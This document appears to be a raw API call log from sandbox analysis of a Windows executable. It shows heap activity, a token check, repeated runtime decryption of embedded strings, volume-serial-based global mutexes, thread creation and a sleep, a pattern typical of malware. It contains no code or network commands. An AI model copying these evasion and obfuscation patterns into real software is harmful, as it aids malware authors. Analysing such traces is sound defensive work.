	[0206.775] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x34) returned 0xd21788
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.775] SetLastError (dwErrCode=0x0) 
	[0206.775] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.776] SetLastError (dwErrCode=0x0) 
	[0206.776] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.777] SetLastError (dwErrCode=0x0) 
	[0206.777] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] GetLastError () returned 0x0
	[0206.778] SetLastError (dwErrCode=0x0) 
	[0206.778] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x98) returned 0xd217c8
	[0206.778] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1f) returned 0xd21868
	[0206.778] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x28) returned 0xd21890
	[0206.778] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x37) returned 0xd218c0
	[0206.778] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x3c) returned 0xd21900
	[0206.778] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x31) returned 0xd21948
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x14) returned 0xd21988
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x24) returned 0xd219a8
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0xd) returned 0xd219d8
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x17) returned 0xd219f0
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x2b) returned 0xd21a10
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x15) returned 0xd21a48
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x17) returned 0xd21a68
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x22) returned 0xd21a88
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0xe) returned 0xd21ab8
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0xc2) returned 0xd21ad0
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x3e) returned 0xd21ba0
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1b) returned 0xd21be8
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1d) returned 0xd21c10
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x48) returned 0xd21c38
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x12) returned 0xd21c88
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x18) returned 0xd21ca8
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1b) returned 0xd21cc8
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x24) returned 0xd21cf0
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x29) returned 0xd21d20
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21d58
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x6b) returned 0xd21d80
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x17) returned 0xd21df8
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x14) returned 0xd21e18
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0xf) returned 0xd21e38
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x16) returned 0xd21e50
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x28) returned 0xd21e70
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x27) returned 0xd21ea0
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x12) returned 0xd21ed0
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x21) returned 0xd21ef0
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x10) returned 0xd21f20
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1c) returned 0xd21f38
	[0206.779] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x12) returned 0xd21f60
	[0206.779] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd20fd0 | out: hHeap=0xd20000) returned 1
	[0206.780] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0206.780] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x80) returned 0xd20fd0
	[0206.780] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1378136) returned 0x0
	[0206.780] RtlSizeHeap (HeapHandle=0xd20000, Flags=0x0, MemoryPointer=0xd20fd0) returned 0x80
	[0206.780] GetLastError () returned 0x0
	[0206.780] SetLastError (dwErrCode=0x0) 
	[0206.780] GetLastError () returned 0x0
	[0206.780] SetLastError (dwErrCode=0x0) 
	[0206.780] GetLastError () returned 0x0
	[0206.780] SetLastError (dwErrCode=0x0) 
	[0206.780] GetLastError () returned 0x0
	[0206.780] SetLastError (dwErrCode=0x0) 
	[0206.780] GetLastError () returned 0x0
	[0206.780] SetLastError (dwErrCode=0x0) 
	[0206.780] GetLastError () returned 0x0
	[0206.780] SetLastError (dwErrCode=0x0) 
	[0206.780] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.781] GetLastError () returned 0x0
	[0206.781] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.782] SetLastError (dwErrCode=0x0) 
	[0206.782] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.783] SetLastError (dwErrCode=0x0) 
	[0206.783] GetLastError () returned 0x0
	[0206.784] SetLastError (dwErrCode=0x0) 
	[0206.784] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x30) returned 0xd21f80
	[0206.784] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x3300) returned 0xd21fb8
	[0206.784] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x15c) returned 0xd21058
	[0206.784] GetTickCount () returned 0x1cc34
	[0206.784] GetLastError () returned 0x0
	[0206.784] SetLastError (dwErrCode=0x0) 
	[0206.784] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x1afda0, cchData=32 | out: lpLCData="\x03") returned 16
	[0206.785] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1c) returned 0xd211c0
	[0206.785] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1c) returned 0xd211e8
	[0206.785] GetVersion () returned 0x23f00206
	[0206.785] GetCurrentProcess () returned 0xffffffff
	[0206.785] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x1afd04 | out: TokenHandle=0x1afd04*=0x1ec) returned 1
	[0206.785] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0x1afcfc, TokenInformationLength=0x4, ReturnLength=0x1afd00 | out: TokenInformation=0x1afcfc, ReturnLength=0x1afd00) returned 1
	[0206.785] CloseHandle (hObject=0x1ec) returned 1
	[0206.785] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21210
	[0206.785] CryptAcquireContextW (in: phProv=0x137fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x137fcf0*=0x616790) returned 1
	[0206.818] CryptImportKey (in: hProv=0x616790, pbData=0x1afbf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc60 | out: phKey=0x1afc60*=0x629280) returned 1
	[0206.820] CryptSetKeyParam (hKey=0x629280, dwParam=0x1, pbData=0x1afc48, dwFlags=0x0) returned 1
	[0206.820] CryptDecrypt (in: hKey=0x629280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21210, pdwDataLen=0x1afc14 | out: pbData=0xd21210, pdwDataLen=0x1afc14) returned 1
	[0206.820] CryptDestroyKey (hKey=0x629280) returned 1
	[0206.820] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21238
	[0206.820] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21260
	[0206.820] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21288
	[0206.820] CryptImportKey (in: hProv=0x616790, pbData=0x1afbd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc38 | out: phKey=0x1afc38*=0x628fc0) returned 1
	[0206.820] CryptSetKeyParam (hKey=0x628fc0, dwParam=0x1, pbData=0x1afc20, dwFlags=0x0) returned 1
	[0206.820] CryptDecrypt (in: hKey=0x628fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21288, pdwDataLen=0x1afbec | out: pbData=0xd21288, pdwDataLen=0x1afbec) returned 1
	[0206.820] CryptDestroyKey (hKey=0x628fc0) returned 1
	[0206.820] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21288 | out: hHeap=0xd20000) returned 1
	[0206.820] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21238, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0206.820] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21260 | out: hHeap=0xd20000) returned 1
	[0206.820] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1
	[0206.821] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1afca0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1afca0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0206.821] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21238 | out: hHeap=0xd20000) returned 1
	[0206.821] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd21210
	[0206.821] CryptImportKey (in: hProv=0x616790, pbData=0x1afc2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc94 | out: phKey=0x1afc94*=0x629580) returned 1
	[0206.821] CryptSetKeyParam (hKey=0x629580, dwParam=0x1, pbData=0x1afc7c, dwFlags=0x0) returned 1
	[0206.821] CryptDecrypt (in: hKey=0x629580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21210, pdwDataLen=0x1afc48 | out: pbData=0xd21210, pdwDataLen=0x1afc48) returned 1
	[0206.821] CryptDestroyKey (hKey=0x629580) returned 1
	[0206.821] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd21258
	[0206.821] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0206.821] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0
	[0206.821] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0206.821] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1
	[0206.821] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21258 | out: hHeap=0xd20000) returned 1
	[0206.821] ReleaseMutex (hMutex=0x1f0) returned 1
	[0206.821] CloseHandle (hObject=0x1f0) returned 1
	[0206.821] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21210
	[0206.821] CryptImportKey (in: hProv=0x616790, pbData=0x1afc0c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc74 | out: phKey=0x1afc74*=0x628ec0) returned 1
	[0206.821] CryptSetKeyParam (hKey=0x628ec0, dwParam=0x1, pbData=0x1afc5c, dwFlags=0x0) returned 1
	[0206.821] CryptDecrypt (in: hKey=0x628ec0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21210, pdwDataLen=0x1afc28 | out: pbData=0xd21210, pdwDataLen=0x1afc28) returned 1
	[0206.821] CryptDestroyKey (hKey=0x628ec0) returned 1
	[0206.821] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21238
	[0206.822] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21260
	[0206.822] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21288
	[0206.822] CryptImportKey (in: hProv=0x616790, pbData=0x1afbe4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc4c | out: phKey=0x1afc4c*=0x629100) returned 1
	[0206.822] CryptSetKeyParam (hKey=0x629100, dwParam=0x1, pbData=0x1afc34, dwFlags=0x0) returned 1
	[0206.822] CryptDecrypt (in: hKey=0x629100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21288, pdwDataLen=0x1afc00 | out: pbData=0xd21288, pdwDataLen=0x1afc00) returned 1
	[0206.822] CryptDestroyKey (hKey=0x629100) returned 1
	[0206.822] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21288 | out: hHeap=0xd20000) returned 1
	[0206.822] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21238, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0206.822] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21260 | out: hHeap=0xd20000) returned 1
	[0206.822] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1
	[0206.822] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1afcb4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1afcb4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0206.822] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21238 | out: hHeap=0xd20000) returned 1
	[0206.822] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd21210
	[0206.822] CryptImportKey (in: hProv=0x616790, pbData=0x1afc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afca8 | out: phKey=0x1afca8*=0x628e80) returned 1
	[0206.822] CryptSetKeyParam (hKey=0x628e80, dwParam=0x1, pbData=0x1afc90, dwFlags=0x0) returned 1
	[0206.822] CryptDecrypt (in: hKey=0x628e80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21210, pdwDataLen=0x1afc5c | out: pbData=0xd21210, pdwDataLen=0x1afc5c) returned 1
	[0206.822] CryptDestroyKey (hKey=0x628e80) returned 1
	[0206.822] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd21258
	[0206.822] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0
	[0206.822] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x1f0
	[0206.822] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0206.822] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1
	[0206.822] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21258 | out: hHeap=0xd20000) returned 1
	[0206.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1371f5f, lpParameter=0x1afd44, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0206.823] Sleep (dwMilliseconds=0x1388) 
	[0211.990] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21440
	[0211.990] CryptImportKey (in: hProv=0x616790, pbData=0x1afbf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc60 | out: phKey=0x1afc60*=0x645cb8) returned 1
	[0211.990] CryptSetKeyParam (hKey=0x645cb8, dwParam=0x1, pbData=0x1afc48, dwFlags=0x0) returned 1
	[0211.990] CryptDecrypt (in: hKey=0x645cb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0x1afc14 | out: pbData=0xd21440, pdwDataLen=0x1afc14) returned 1
	[0211.990] CryptDestroyKey (hKey=0x645cb8) returned 1
	[0211.990] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21468
	[0211.990] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21490
	[0211.990] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd214b8
	[0211.990] CryptImportKey (in: hProv=0x616790, pbData=0x1afbd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc38 | out: phKey=0x1afc38*=0x645978) returned 1
	[0211.990] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0x1afc20, dwFlags=0x0) returned 1
	[0211.990] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214b8, pdwDataLen=0x1afbec | out: pbData=0xd214b8, pdwDataLen=0x1afbec) returned 1
	[0211.990] CryptDestroyKey (hKey=0x645978) returned 1
	[0211.990] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214b8 | out: hHeap=0xd20000) returned 1
	[0211.990] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21468, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0211.990] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21490 | out: hHeap=0xd20000) returned 1
	[0211.990] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0211.990] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1afca0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1afca0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0211.991] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21468 | out: hHeap=0xd20000) returned 1
	[0211.991] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd21440
	[0211.991] CryptImportKey (in: hProv=0x616790, pbData=0x1afc2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc94 | out: phKey=0x1afc94*=0x645c38) returned 1
	[0211.991] CryptSetKeyParam (hKey=0x645c38, dwParam=0x1, pbData=0x1afc7c, dwFlags=0x0) returned 1
	[0211.991] CryptDecrypt (in: hKey=0x645c38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0x1afc48 | out: pbData=0xd21440, pdwDataLen=0x1afc48) returned 1
	[0211.991] CryptDestroyKey (hKey=0x645c38) returned 1
	[0211.991] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd21488
	[0211.991] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0211.991] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x490
	[0211.991] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0
	[0211.991] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0211.991] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21488 | out: hHeap=0xd20000) returned 1
	[0211.991] ReleaseMutex (hMutex=0x490) returned 1
	[0211.991] CloseHandle (hObject=0x490) returned 1
	[0211.991] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x60) returned 0xd21440
	[0211.991] CryptImportKey (in: hProv=0x616790, pbData=0x1afc50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afcb8 | out: phKey=0x1afcb8*=0x645d78) returned 1
	[0211.991] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0x1afca0, dwFlags=0x0) returned 1
	[0211.991] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0x1afc6c | out: pbData=0xd21440, pdwDataLen=0x1afc6c) returned 1
	[0211.991] CryptDestroyKey (hKey=0x645d78) returned 1
	[0211.991] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd214a8
	[0211.991] CryptImportKey (in: hProv=0x616790, pbData=0x1afc28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc90 | out: phKey=0x1afc90*=0x645978) returned 1
	[0211.991] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0x1afc78, dwFlags=0x0) returned 1
	[0211.991] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214a8, pdwDataLen=0x1afc44 | out: pbData=0xd214a8, pdwDataLen=0x1afc44) returned 1
	[0211.992] CryptDestroyKey (hKey=0x645978) returned 1
	[0211.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd214d0
	[0211.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd214f8
